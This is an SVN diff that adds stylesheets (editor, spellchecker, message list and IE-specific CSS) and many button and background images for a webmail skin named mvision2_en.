+span.mceMenuLine {display: block; position: absolute; left: 0; top: -1px; background-color: #F5F4F2; width: 30px; height: 1px; overflow: hidden; padding-left: 0; padding-right: 0;}
+.mceColors table, .mceColors td {margin: 0; padding: 2px;}
+a.mceMoreColors {width: auto; padding: 0; margin: 0 3px 3px 3px; text-align: center; border: 1px solid white; text-decoration: none !important;}
+.mceColorPreview {position: absolute; overflow:hidden; left: 0; top: 0; margin-left: 3px; margin-top: 15px; width: 16px; height: 4px; background-color: red;}
+a.mceMoreColors:hover {border: 1px solid #0A246A;}
+.mceColors td a {width: 9px; height: 9px; overflow: hidden; border: 1px solid #808080;}
+
+/* MSIE 6 specific rules */
+
+* html a.mceButtonNormal img, * html a.mceButtonSelected img, * html a.mceButtonDisabled img {border: 0 !important; margin-top: 2px; margin-bottom: 1px;}
+* html a.mceButtonDisabled img {filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30); border: 0 !important;}
+* html a.mceButtonDisabled {border: 1px solid #F0F0EE !important;}
+* html a.mceButtonNormal, * html a.mceButtonSelected {border: 1px solid #F0F0EE !important; cursor: default;}
+* html a.mceButtonSelected {border: 1px solid #6779AA !important; background-color: #D4D5D8;}
+* html a.mceButtonNormal:hover, * html a.mceButtonSelected:hover {border: 1px solid #0A246A !important; background-color: #B6BDD2; cursor: default;}
+* html .mceSelectList {margin-top: 2px;}
+* html span.mceMenuButton, * html span.mceMenuButtonFocus {position: relative; left: 0; top: 0;}
+* html span.mceMenuButton img, * html span.mceMenuButtonSelected img, * html span.mceMenuButtonFocus img {position: relative; top: 1px;}
+* html a.mceMoreColors {width: auto;}
+* html .mceColors td a {width: 10px; height: 10px;}
+* html .mceColorPreview {margin-left: 2px; margin-top: 14px;}
+
+/* MSIE 7 specific rules */
+
+*:first-child+html a.mceButtonNormal img, *:first-child+html a.mceButtonSelected img, *:first-child+html a.mceButtonDisabled img {border: 0 !important; margin-top: 2px; margin-bottom: 1px;}
+*:first-child+html a.mceButtonDisabled img {filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30); border: 0 !important;}
+*:first-child+html a.mceButtonDisabled {border: 1px solid #F0F0EE !important;}
+*:first-child+html a.mceButtonNormal, *:first-child+html a.mceButtonSelected {border: 1px solid #F0F0EE !important; cursor: default;}
+*:first-child+html a.mceButtonSelected {border: 1px solid #6779AA !important; background-color: #D4D5D8;}
+*:first-child+html a.mceButtonNormal:hover, *:first-child+html a.mceButtonSelected:hover {border: 1px solid #0A246A !important; background-color: #B6BDD2; cursor: default;}
+*:first-child+html .mceSelectList {margin-top: 2px;}
+*:first-child+html span.mceMenuButton, *:first-child+html span.mceMenuButtonFocus {position: relative; left: 0; top: 0;}
+*:first-child+html span.mceMenuButton img, *:first-child+html span.mceMenuButtonSelected img, *:first-child+html span.mceMenuButtonFocus img {position: relative; top: 1px;}
+*:first-child+html a.mceMoreColors {width: 137px;}
+*:first-child+html .mceColors td a {width: 10px; height: 10px;}
+*:first-child+html .mceColorPreview {margin: 0; padding-left: 4px; margin-top: 14px; width: 14px;}
Index: skins/mvision2_en/googiespell.css
===================================================================
--- skins/mvision2_en/googiespell.css	(revision 0)
+++ skins/mvision2_en/googiespell.css	(revision 0)
@@ -0,0 +1,102 @@
+/***** modified styles for GoogieSpell *****/
+
+.googie_window {
+  font-size: 11px;
+  width: 185px;
+  text-align: left;
+  border: 1px solid #86A5C1;
+  background-color: #ffffff;
+  margin: 0;
+  padding: 0;
+  position: absolute;
+  visibility: hidden;
+}
+
+.googie_list {
+  width: 100%;
+  margin: 0;
+  padding: 0;
+}
+
+.googie_list td {
+  font-size: 11px;
+  padding-left: 10px;
+  padding-right: 10px;
+  padding-top: 2px;
+  padding-bottom: 2px;
+  cursor: pointer;
+  list-style-type: none;
+}
+
+.googie_list_onhover {
+  color: #FFFFFF;
+  background-color: #6D95BC;
+}
+
+.googie_list_onout {
+  background-color: #EFF3F8;
+}
+
+.googie_list_selected {
+  background-color: #ffffff;
+  font-weight: bold;
+  border: 1px dashed #B1C6D8;
+}
+
+.googie_list_close {
+  font-size: 11px;
+  color: #CC0000;
+}
+
+.googie_list_onhover .googie_list_close {
+  color: #FFFFFF;
+}
+
+.googie_list_revert {
+  font-size: 11px;
+  color: #b91479;
+}
+
+.googie_link {
+  color: #b91414;
+  text-decoration: underline;
+  cursor: pointer;
+}
+
+.googie_check_spelling_link {  
+  color: #000000;
+  font-size: 11px;
+  text-decoration: none;
+  cursor: pointer;
+}
+
+.googie_check_spelling_link:hover {
+  text-decoration: underline;
+}
+
+.googie_no_style {
+  text-decoration: none;
+}
+
+.googie_check_spelling_ok {
+  color: green;
+  font-size: 11px;
+  text-decoration: underline;
+  cursor: pointer;
+}
+
+.googie_lang_3d_click img {
+  vertical-align: middle;
+  border-top: 1px solid #86A5C1;
+  border-left: 1px solid #86A5C1;
+  border-right: 1px solid #86A5C1;
+  border-bottom: 1px solid #86A5C1;
+}
+
+.googie_lang_3d_on img {
+  vertical-align: middle;
+  border-top: 1px solid #86A5C1;
+  border-left: 1px solid #86A5C1;
+  border-right: 1px solid #86A5C1;
+  border-bottom: 1px solid #86A5C1;
+}
Index: skins/mvision2_en/horizontal.css
===================================================================
--- skins/mvision2_en/horizontal.css	(revision 0)
+++ skins/mvision2_en/horizontal.css	(revision 0)
@@ -0,0 +1,27 @@
+#mailcontframe {position: absolute;top: 85px;left: 181px;right: 0px;bottom: 40px;padding-bottom: 1px;height:208px;border-bottom: 1px solid #bcccda;background-color: #ffffff;overflow: auto;  /* css hack for IE */  width: expression((parseInt(document.documentElement.clientWidth)-230)+'px'); height: expression((parseInt(document.documentElement.clientHeight)-125)+'px');}
+#mailpreviewframe {position: absolute;top: 305px;left: 180px;right: 0px;bottom: 40px;border: 1px solid #BCCCDA;  /* css hack for IE */width: expression((parseInt(document.documentElement.clientWidth)-230)+'px'); height: expression((parseInt(document.documentElement.clientHeight)-135-document.getElementById('mailcontframe').offsetHeight)+'px');}
+#mailviewsplitterhorizontal {top: 334px;background:#E0E8EF;background:url(images/dimple.png) no-repeat center;background-position:center;height:7px;width:100%;cursor:row-resize;}
+#messagelist tr td.icon {width: 16px;vertical-align: middle;}
+#messagelist tr td.subject {padding-left: 5px;overflow: hidden;vertical-align: middle;z-index:1000000;}
+#messagelist tr td.size {width: 60px;text-align: right;vertical-align: middle;}
+#messagelist tr td.from, #messagelist tr td.to {padding-left: 5px;width: 180px;vertical-align: middle;}
+#messagelist tr td.date {padding-left: 5px;width: 118px;vertical-align: middle;}
+#messagelist tr.message {background-color: #EFF3F8;}
+#messagelist tr.unread {font-weight: bold;background-color: #EFF3F8;}
+#messagelist tr.selected td {color: #FFFFFF;background-color: #6D95BC;}
+#messagelist tr.unfocused td {color: #FFFFFF;background-color: #A9C0D8;}
+#messagelist tr.selected td a {color: #FFFFFF;}
+#messagelist tr.unfocused td a {color: #FFFFFF;}
+#messagelist tr.deleted td a {color: #CCCCCC;}
+#messagelist tr.deleted td, #messagelist tr.deleted td a {color: #CCCCCC;}
+body.messagelist {margin: 0px;background-color: #f9f9f9;}
+#messagelist {width: 100%;border-top: 1px solid #bcccda;display: table;table-layout: fixed;  /* css hack for IE */ width: expression(document.getElementById('mailcontframe').clientWidth);}
+#messagelist thead tr td {height: 22px;padding-top: 0px;padding-bottom: 0px;padding-left: 2px;padding-right: 4px;vertical-align: middle;border-bottom: 0px solid #999999;color: #333333;background-color: #EBEBEB;background-image: url('images/listheader_aqua.png');font-size: 11px;font-weight: bold;}
+#messagelist thead tr td.sortedASC, #messagelist thead tr td.sortedDESC {background-image: url('images/listheader_dark.png');}
+#messagelist thead tr td.sortedASC a {background: url('images/sort_asc.png') top right no-repeat;}
+#messagelist thead tr td.sortedDESC a {background: url('images/sort_desc.png') top right no-repeat;}
+#mailboxlist li {background-position:12px 4px;}
+#messagelist tbody tr td {height: 24px;line-height:24px;font-size: 11px;overflow: hidden;white-space: nowrap;text-overflow: ellipsis;border-bottom: 1px solid #D7E2EC;cursor: pointer;}
+#messagelist tbody tr td a {color: #000;text-decoration: none;}
+#messagelist col {display: table-column;text-align: left;vertical-align: middle;}
+#messagelist thead,#messagelist tr{width:100%}
\ No newline at end of file
Index: skins/mvision2_en/ie6.css
===================================================================
--- skins/mvision2_en/ie6.css	(revision 0)
+++ skins/mvision2_en/ie6.css	(revision 0)
@@ -0,0 +1,8 @@
+@CHARSET "UTF-8";
+img { behavior: url(skins/mvision2_en/iepngfix.htc) }
+#messagelist tr td.icon img{position:relative;top:3px;}
+#mailviewsplitter{padding:2px;padding-bottom:3px;}
+#bottom-bar{border-top:1px solid #BCCCDA;margin-top:5px;z-index:100;}
+#messagecountbar,#mailboxcontrols,#listcontrols{z-index:200;}
+table.headers-table img{display:inline;margin-top:4px;margin-left:2px;clear:both;vertical-align:middle;}
+#messagelist thead tr{height:24px;padding:5px 22px 2px 13px;}
\ No newline at end of file
Index: skins/mvision2_en/ie7.css
===================================================================
--- skins/mvision2_en/ie7.css	(revision 0)
+++ skins/mvision2_en/ie7.css	(revision 0)
@@ -0,0 +1,6 @@
+@CHARSET "UTF-8";
+#messagelist tr td.icon img{position:relative;top:3px;}
+#mailviewsplitter{padding:2px;padding-bottom:3px;}
+
+table.headers-table img{display:inline;margin-top:4px;margin-left:2px;clear:both;vertical-align:middle;}
+#messagelist thead tr{height:24px;padding:5px 22px 2px 13px;}
\ No newline at end of file
Index: skins/mvision2_en/images/attach.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\attach.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/bg-bottom.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\bg-bottom.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/bg-search.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\bg-search.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/blank.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\blank.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/bottom-controls1.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\bottom-controls1.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/add_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\add_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/add_contact_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\add_contact_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/add_contact_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\add_contact_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/add_contact_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\add_contact_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/add_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\add_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/add_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\add_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/addressbook.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\addressbook.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/attach_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\attach_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/attach_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\attach_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/attach_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\attach_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/back_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\back_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/back_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\back_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/back_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\back_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/bg.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\bg.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/compose_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\compose_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/compose_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\compose_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/compose_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\compose_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/delete_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\delete_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/delete_cont_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\delete_cont_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/delete_cont_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\delete_cont_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/delete_cont_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\delete_cont_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/delete_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\delete_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/delete_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\delete_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/drafts_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\drafts_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/drafts_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\drafts_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/drafts_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\drafts_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/first_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\first_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/first_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\first_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/first_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\first_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/forward_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\forward_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/forward_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\forward_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/forward_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\forward_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/inbox_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\inbox_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/inbox_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\inbox_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/inbox_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\inbox_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/last_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\last_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/last_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\last_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/last_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\last_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/ldap_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\ldap_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/ldap_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\ldap_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/login-button.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\login-button.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/logout.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\logout.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/mail.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\mail.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/newmessage_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\newmessage_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/newmessage_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\newmessage_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/newmessage_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\newmessage_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/next_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\next_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/next_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\next_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/next_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\next_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/previous_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\previous_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/previous_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\previous_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/previous_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\previous_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/print_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\print_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/print_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\print_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/print_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\print_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/reply_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\reply_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/reply_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\reply_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/reply_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\reply_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/replyall_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\replyall_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/replyall_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\replyall_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/replyall_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\replyall_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/send_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\send_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/send_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\send_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/send_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\send_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/settings.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\settings.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/source_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\source_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/source_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\source_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/source_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\source_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/spacer.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\spacer.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/spellcheck_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\spellcheck_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/spellcheck_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\spellcheck_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/buttons/spellcheck_sel.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\buttons\spellcheck_sel.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/cleardot.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\cleardot.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/contacts.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\contacts.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/dimple.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\dimple.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/display/confirm.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\display\confirm.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/display/info.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\display\info.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/display/loading.gif
===================================================================
Cannot display: file marked as a binary type.
